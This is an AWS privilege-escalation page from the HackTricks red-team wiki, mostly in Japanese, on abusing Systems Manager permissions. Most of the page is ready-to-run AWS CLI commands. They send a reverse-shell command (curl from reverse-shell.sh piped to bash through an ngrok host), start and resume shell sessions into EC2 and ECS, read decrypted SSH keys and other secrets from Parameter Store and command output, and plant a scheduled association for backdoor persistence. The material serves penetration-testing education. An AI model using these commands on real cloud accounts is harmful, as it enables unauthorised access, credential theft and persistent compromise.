AWS - SSM Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SSM

SSMの詳細については次を参照してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

権限 ssm:SendCommand を持つ attacker は、Amazon SSM Agent を実行しているインスタンス上で execute commands in instances が可能で、内部で動作している IAM Rolecompromise することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

既に侵害された EC2 インスタンス内でこの手法を使って権限昇格を行っている場合は、次のようにして rev shell をローカルでキャプチャできます:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在的な影響: SSM Agents が稼働しているインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

ssm:StartSession

権限 ssm:StartSession を持つ攻撃者は、Amazon SSM Agent が稼働するインスタンス上で SSH のようなセッションを開始 し、その内部で実行されている IAM Role を侵害 することができます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

セッションを開始するには SessionManagerPlugin をインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: SSM Agents が稼働している実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。

Privesc to ECS

When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container.
According to the documentation、これは、exec コマンドを発行するデバイスと対象のコンテナの間で SSM Session Manager を使ってセキュアなチャネルを作成することで実現されます。(SSM Session Manager Plugin がこれを動作させるために必要です)
したがって、ssm:StartSession を持つユーザーは、そのオプションが有効になっている ECS tasks に対して単に次を実行するだけで get a shell inside ECS tasks ことができます:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: ExecuteCommand が有効になっている実行中のタスクにアタッチされた ECS IAM roles への直接的な privesc。

ssm:ResumeSession

権限 ssm:ResumeSession を持つ攻撃者は、Amazon SSM Agent を実行しているインスタンスで、SSM セッション状態が disconnected になっている場合に、インスタンス上で SSH のようなセッションを再起動 し、その中で動作している compromise the IAM Role を行うことができます。

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在的影響: 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc(SSM Agents が稼働しており、切断されたセッションがある場合)。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

その権限を持つ攻撃者は、SSM parameters を一覧表示して 平文で読み取ることができます。これらのパラメータからは、SSH keys や API keys のような 機密情報を見つけることがよくあります。

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potential Impact: パラメータ内から機密情報を発見できる可能性があります。

ssm:ListCommands

この権限を持つ攻撃者は送信された全ての commands を一覧表示でき、それらから 機密情報 を見つける可能性があります。

aws ssm list-commands

Potential Impact: コマンドライン内の機密情報を見つけられる可能性があります。

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

これらの権限を持つ攻撃者は、送信されたすべての commands を列挙し、生成された read the output を読み取ることで、そこから sensitive information を見つけることができます。

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potential Impact: コマンド出力の中から機密情報を見つけることができる。

Using ssm:CreateAssociation

権限 ssm:CreateAssociation を持つ攻撃者は、State Manager Association を作成して、SSM によって管理される EC2 インスタンス上でコマンドを自動実行できます。これらの associations は固定間隔で実行されるよう設定でき、interactive sessions を必要としない backdoor-like persistence に適しています。

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

この永続化手法は、EC2 インスタンスが Systems Manager によって管理され、SSM agent が稼働しており、攻撃者が associations を作成する権限を持っている限り有効です。対話型セッションや明示的な ssm:SendCommand 権限は必要ありません。重要: --schedule-expression パラメータ(例: rate(30 minutes))は AWS の最小間隔である 30 分を満たす必要があります。即時または一度だけ実行する場合は、--schedule-expression を完全に省略してください — association は作成後に一度だけ実行されます。

Codebuild

ビルド中の codebuild プロジェクトに侵入するために SSM を利用することもできます:

AWS - Codebuild Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする